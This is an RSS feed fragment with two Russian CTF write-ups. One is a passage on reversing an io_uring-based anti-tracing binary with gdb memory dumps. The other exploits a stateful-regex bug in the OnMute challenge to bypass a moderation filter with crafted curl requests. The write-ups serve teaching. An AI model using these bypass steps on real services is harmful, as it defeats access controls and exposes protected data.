io_uring_register(3, IORING_REGISTER_ENABLE_RINGS, NULL, 0) = 0</pre>
  <p id="IizQ"><strong><em>IORING_SETUP_SQPOLL</em></strong> поднимает отдельный поток ядра, который сам вычитывает Submission Queue из shared-memory кольца и выполняет операции (<strong><em>open, read, write, connect..</em>.</strong>) — приложению для этого не нужно делать системный вызов<strong><em> io_uring_enter</em></strong> вообще. Именно поэтому <strong><em>strace/ltrace</em></strong>, работающие через<strong><em> ptrace</em></strong> на пользовательском потоке, не видят ни файловых операций проверок, ни даже обычных<strong><em> write()</em></strong> в терминал: с точки зрения трассировщика поток программы почти ничего не делает, всю грязную работу выполняет невидимый kernel-thread. Это и есть «сторожевой шершень» из легенды задания.<br />Дополнительно все строковые константы в бинаре не лежат в <strong><em>.rodata</em></strong>, а побайтово записываются в data-сегмент прямо в коде <strong><em>main</em></strong> — тысячи инструкций вида:</p>
  <pre id="U2cG">movb $0x13, 0x5e3520(%rip)
movb $0x22, 0x5e3521(%rip)
movb $0xf3, 0x5e3522(%rip)
...</pre>
  <p id="t9kD">Это классический анти-strings приём: раз строка никогда не лежит в бинаре одним куском,<em><strong> strings/grep </strong></em>по файлу её не находят.<br />Стратегия: раз статика и обычная трассировка бессильны — смотрим живую память<br />Раз строки всё равно оказываются расшифрованными (или просто дозаписанными) в адресном пространстве процесса к моменту вывода/сравнения, самый быстрый путь — не реверсить вручную тысячи <strong><em>movb</em></strong>, а поймать процесс в нужный момент через gdb и сдампить память:</p>
  <pre id="MqsH" data-lang="python">import gdb
gdb.execute(&quot;catch syscall exit_group&quot;)
gdb.execute(&quot;run &lt; /tmp/enters.txt&quot;)
gdb.execute(&quot;dump memory seg.bin 0x5e4000 0x60b000&quot;)</pre>
  <p id="S5Bz">Как только процесс доходит до<strong><em> exit_group()</em></strong> (падение очередной проверки), дампим все rw--регионы и прогоняем через <strong><em>strings</em></strong> — там уже лежит расшифрованный текст, который не найти в самом файле.<br />Проверка за проверкой<br />CHECK 1/4 — инициализация<br />Ничего интересного, просто<strong><em> uname()</em></strong>.<br />CHECK 2/4 — дистрибутив<br />Дамп памяти в момент ошибки содержит:</p>
  <pre id="72dZ" data-lang="bash">/etc/os-release
PROpolisOS</pre>
  <p id="nOCL">Программа читает /etc/os-release и требует ID=PROpolisOS (POPolis — привет прополису от пчёл). Патчим файл:</p>
  <pre id="Gjnw" data-lang="bash">sed -i &#x27;s/^ID=.*/ID=PROpolisOS/&#x27; /usr/lib/os-release</pre>
  <p id="T4nw">→ [+] release ok<br />CHECK 3/4 — «выделенный пользователь»<br />В следующем дампе находится:</p>
  <pre id="1M8d" data-lang="bash">/home/apis_mellifera
[-] The dedicated user not found, cannot proceed</pre>
  <p id="6qtm">apis_mellifera — латинское название пчелы медоносной. Создаём каталог:</p>
  <pre id="rMyK" data-lang="bash">mkdir -p /home/apis_mellifera</pre>
  <p id="P3VE">Проверка идёт дальше, но теперь ругается на время:</p>
  <pre id="8vkp" data-lang="bash">[i] user creation time: 13:9 MSK
[-] A special user wasn&#x27;t created at 13:37 MSK. Not cool!!</pre>
  <p id="AUMj">Программа берёт время создания каталога (ctime/birth time инода) и сравнивает его с 13:37 по MSK (UTC+3) — «leet time». <em><strong>ctime</strong></em> нельзя выставить через<strong><em> touch </em></strong>(он всегда «сейчас» при любом изменении метаданных inode), поэтому единственный надёжный способ — временно перевести системные часы и создать каталог именно в этот момент:</p>
  <pre id="vOCQ" data-lang="bash">date -s &quot;2026-07-18 10:37:00 UTC&quot;      # 10:37 UTC = 13:37 MSK
rm -rf /home/apis_mellifera &amp;&amp; mkdir -p /home/apis_mellifera</pre>
  <p id="rwl3">→ [i] user creation time: 13:37 MSK → [+] user ok<br />CHECK 4/4 — окружение<br />Проходит автоматически (там же в дампе виден <strong><em>systemd </em></strong>— похоже на проверку /<strong><em>proc/1/comm</em></strong>, то есть что init-процесс контейнера называется <strong><em>systemd</em></strong>, а не что-то подозрительное).<br />После всех четырёх проверок:</p>
  <pre id="i5tx" data-lang="bash">[+] All good!
Grab your prize! https://prizering-gaxqsak4.avitoctf.ru/
[*] Press ENTER...</pre>
  <p id="YCxL">Финальный этап: приватный сокет<br />После нажатия Enter:</p>
  <pre id="MlCQ">Well... Now as for those secrets I claimed to have...

Since you&#x27;ve come this far, I&#x27;m sure you know how to find a special private socket
that you need to set up, so that I can share a passcode for you to get into.
[*] Press ENTER...

[-] Failed to talk to a special confidential socket, cannot hand my secret to you...</pre>
  <p id="8fZA">Снова дампим память в момент этой ошибки и находим строку:</p>
  <pre id="xCD1">h0n3ycOmb</pre>
  <p id="oUoW">(с нулевыми байтами вокруг — характерно для<strong><em> sockaddr_un</em></strong> в abstract namespace, т.е. путь вида<em><strong> \0h0n3ycOmb</strong></em>, не привязанный к файловой системе). Поднимаем такой сокет заранее и слушаем его:</p>
  <pre id="9iPO" data-lang="python">import socket

s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
s.bind(&quot;\0h0n3ycOmb&quot;)     # abstract socket, начинается с NUL
s.listen(1)
conn, _ = s.accept()
print(conn.recv(4096))</pre>
  <p id="DVyW">Запускаем сервер, затем сам <strong><em>io_hrana.elf</em></strong> (с уже пропатченными <strong><em>os-release</em></strong> и временем создания<strong><em> /home/apis_mellifera</em></strong>) — бинарь коннектится к абстрактному сокету <strong><em>h0n3ycOmb</em></strong> и присылает в него флаг открытым текстом.</p>
  <h2 id="9N4A" data-align="center">Итог: что проверялось задачей</h2>
  <p id="xrRL"><br />Узнавание <strong><em>io_uring/SQPOLL</em></strong> как техники, из-за которой <strong><em>strace/ltrace</em></strong> оказываются бесполезны (I/O выполняется kernel-thread&#x27;ом без «человеческих» системных вызовов на стороне трассируемого процесса).<br />Приём анти-strings через побайтовую запись строк в память в рантайме — и обход через дамп живой памяти вместо ручной дизассемблировки каждого <strong><em>movb</em></strong>.<br />Внимательность к деталям окружения:<strong><em> /etc/os-release</em></strong>, время создания файла (ctime vs mtime, и что ctime подделать можно только через системные часы), и abstract Unix-сокеты как канал передачи секрета.</p>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@filepom/OnMute</guid><link>https://teletype.in/@filepom/OnMute?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=filepom</link><comments>https://teletype.in/@filepom/OnMute?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=filepom#comments</comments><dc:creator>filepom</dc:creator><title>OnMute — Writeup</title><pubDate>Sun, 26 Jul 2026 16:53:38 GMT</pubDate><description><![CDATA[Категория: Misc / Web]]></description><content:encoded><![CDATA[
  <section style="background-color:hsl(hsl(323, 50%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="Kob9">Категория: Misc / Web </p>
    <p id="KGxb">Автор: Влад Росков <a href="https://t.me/mrvos" target="_blank">@mrvos</a> SPbCTF</p>
    <p id="Lf9F">Автор writeup: <a href="https://t.me/m0nr0e21" target="_blank">@m0nr0e21</a></p>
  </section>
  <section style="background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="zJBO"><br />OnMute — музыкальная площадка с агрессивной модерацией текстов треков: любое слово из растущего блок-листа немедленно вырезается из комментариев. В одном из треков автор спрятал отсылку для своих, которую заодно тоже зацензурили. Цель — обойти цензуру и достать полный (оригинальный) текст трека.</p>
  </section>
  <p id="ZnD4"></p>
  <h2 id="OxAw" data-align="center">Разведка</h2>
  <p id="WXci"></p>
  <p id="yEig">В исходниках интересны три файла:<br /><em><strong>server/src/moderation/filter.js</strong></em> — сам фильтр контента;<br /><strong><em>server/src/bot/commands.js</em></strong> — обработчик текстовых команд бота (<em><strong>/help, /censor, /report, /status, /original</strong></em>);<br /><strong><em>server/src/routes/comments.js</em></strong> — маршрут <em><strong>POST /api/tracks/:id/comment</strong></em>, который сначала прогоняет присланный текст через фильтр и только потом передаёт его парсеру команд.<br />Ключевая находка — команда<strong><em> /original &lt;id&gt;</em></strong>:</p>
  <pre id="D2xV" data-lang="javascript">case &#x27;original&#x27;: {
  const original = await getOriginalText(cmd.trackId);
  if (!original) return { type: &#x27;bot&#x27;, message: &#x60;Трек #${cmd.trackId} не найден.&#x60; };
  return { type: &#x27;bot&#x27;, command: &#x27;/original&#x27;, message: original };
}</pre>
  <p id="5iEZ">Она отдаёт необрезанный оригинал трека — включая всё, что цензура вырезала из публичной версии. Проблема в том, что строка<em><strong> /original</strong></em> сама лежит в блок-листе:</p>
  <pre id="UnKz" data-lang="javascript">export const BLOCKED_WORDS = [
  &#x27;/original&#x27;,
  &#x27;блин&#x27;, &#x27;чёрт&#x27;, &#x27;жесть&#x27;, &#x27;фигня&#x27;,
  ...
];</pre>
  <p id="pml6">То есть простое сообщение <em><strong>&quot;/original 4&quot;</strong></em> будет заблокировано фильтром ещё до того, как до него доберётся <em><strong>parseCommand()</strong></em>.</p>
  <p id="P79T"></p>
  <h2 id="5xit" data-align="center">Уязвимость</h2>
  <p id="CR6e"></p>
  <p id="36b1">В server/src/moderation/filter.js для каждой сессии кешируется один и тот же объект RegExp с флагом g:</p>
  <pre id="vTfA" data-lang="javascript">function getPolicy(sessionId) {
  if (!policies.has(sessionId)) {
    policies.set(sessionId, {
      id: sessionId,
      re: new RegExp(&#x60;(?:${BLOCKED_WORDS.join(&#x27;|&#x27;)})(?=[\\s.,!?;:)}\\]&quot;&#x27;»]|$)&#x60;, &#x27;gi&#x27;),
    });
  }
  return policies.get(sessionId);
}</pre>
  <p id="feXY">Классическая ошибка со <strong><em>stateful </em></strong>глобальным <em><strong>regex: RegExp.prototype.lastIndex</strong></em> — общее изменяемое состояние объекта, а не вызова.</p>
  <ul id="qn42">
    <li id="tw2e"><strong><em>checkContent()</em></strong> крутит<em><strong> re.exec()</strong></em> в цикле до<strong><em> null → lastIndex</em></strong> сбрасывается в 0.</li>
    <li id="i0AE"><strong><em>matchesPolicy()</em></strong> (внутри<strong><em> /censor</em></strong>) делает оди<strong><em>н re.test()</em></strong> → при совпадении <strong><em>lastIndex </em></strong>остаётся &gt; 0.</li>
  </ul>
  <p id="Pf8U">Оба метода используют один и тот же кэшированный re (по sessionId из cookie). Поэтому <strong><em>lastIndex</em></strong>, оставленный <em><strong>/censor</strong></em>, наследуется следующим <strong><em>checkContent()</em></strong>.</p>
  <p id="6uiJ"></p>
  <h2 id="Zbqp" data-align="center">Эффект</h2>
  <p id="C0XU"></p>
  <p id="6Nev">Если <em><strong>/censor</strong></em> поднимает<strong><em> lastIndex</em></strong> до N, а сообщение короче N символов, <em><strong>re.exec() </strong></em>начинает поиск с позиции N и пропускает начало строки (в т.ч.<strong><em> /original</em></strong>).</p>
  <p id="DtId"><strong><em>parseCommand()</em></strong> при этом матчит <strong><em>/original </em></strong>по чистому ^\/original..., поэтому команда всё равно выполняется.</p>
  <p id="APXl"></p>
  <h2 id="BOpk" data-align="center">Эксплуатация</h2>
  <p id="7aJO"></p>
  <p id="DsdI">Цель - трек 4, нужно найти censored-тексте найти слово из блок-листа ≤10 символов с разделителем сразу после (чтобы <strong><em>matchesPolicy()</em></strong> оставил lastIndex &gt; 0). В бридже трека 4 — «Тише» (позиции 868–872).</p>
  <pre id="9PpX" data-lang="bash">curl -s -c cj.txt -b cj.txt -X POST https://onmute-h5hzbuoj.avitoctf.ru/api/tracks/4/comment \
  -H &#x27;Content-Type: application/json&#x27; \
  -d &#x27;{&quot;text&quot;:&quot;/censor 868 872&quot;}&#x27;</pre>
  <p id="6zti"><strong><em>matchesPolicy(&quot;Тише&quot;) </em></strong>находит совпадение целиком (лукахед (?=...|$) срабатывает на конец строки фрагмента) →<strong><em> lastIndex</em></strong> объекта <strong><em>regex</em></strong> для этой сессии становится равен 4.<br />Тем же сессионным куки сразу отправляем настоящую цель:</p>
  <pre id="E7OZ" data-lang="bash">curl -s -c cj.txt -b cj.txt -X POST https://onmute-h5hzbuoj.avitoctf.ru/api/tracks/4/comment \
  -H &#x27;Content-Type: application/json&#x27; \
  -d &#x27;{&quot;text&quot;:&quot;/original 4&quot;}&#x27;</pre>
  <p id="fuWH"><strong><em>checkContent()</em></strong> начинает поиск совпадений в строке <strong><em>&quot;/original 4&quot;</em></strong> с позиции 4 (унаследованной от шага 2). Слово <strong><em>/original</em></strong> начинается с позиции 0, поэтому поймать его уже нельзя — фильтр не находит нарушений и пропускает сообщение. <strong><em>parseCommand()</em></strong> независимо распознаёт<strong><em> /original 4</em></strong> и выполняет <strong><em>handleCommand()</em></strong>, который возвращает полный оригинальный текст трека.</p>
  <p id="L5bi"></p>
  <h2 id="EwEh" data-align="center">Результат</h2>
  <p id="ejcU"></p>
  <pre id="DmkA" data-lang="bash">{
  &quot;ok&quot;: true,
  &quot;type&quot;: &quot;bot&quot;,
  &quot;command&quot;: &quot;/original&quot;,
  &quot;message&quot;: &quot;...[Аутро]\n...\nЗабираю своё. Вот он - ключ. Вот он - флаг: }&quot;
}</pre>
  <p id="kTaH"></p>
  <h2 id="gQ8v" data-align="center">Причина уязвимости</h2>
  <p id="Ltkd"></p>
  <p id="p0zr">Название флага обыгрывает суть бага: флаг g заставляет <em><strong>RegExp</strong></em> хранить <strong><em>lastIndex</em></strong> между вызовами. Когда один и тот же объект переиспользуется в разных функциях (цикл <strong><em>exec()</em></strong> до <strong><em>null</em></strong> vs одиночный<strong><em> test()</em></strong>), они неявно влияют друг на друга через общее мутируемое состояние. «Тишина» (censor на «Тише») буквально заглушила фильтр символа / и пропустила команду <em><u>/original.</u></em></p>
  <p id="SOCS"><strong>Как правильно чинить</strong></p>
  <p id="mzdS">Не кэшировать<strong><em> RegExp</em></strong> с g/y между независимыми вызовами — либо создавать новый объект каждый раз, либо явно делать<strong><em> re.lastIndex = 0.</em></strong></p>
  <p id="XNKN">Не полагаться на автосброс <strong><em>lastIndex</em></strong> при <strong><em>exec() === null</em></strong> (работает только если цикл доходит до конца строки).</p>
  <p id="90IM">Использовать<strong><em> String.prototype.matchAll() (stateless)</em></strong> или выделенный regex без g для точечных проверок (matchesPolicy), отдельно от полного сканирования (checkContent).</p>

]]></content:encoded></item></channel></rss>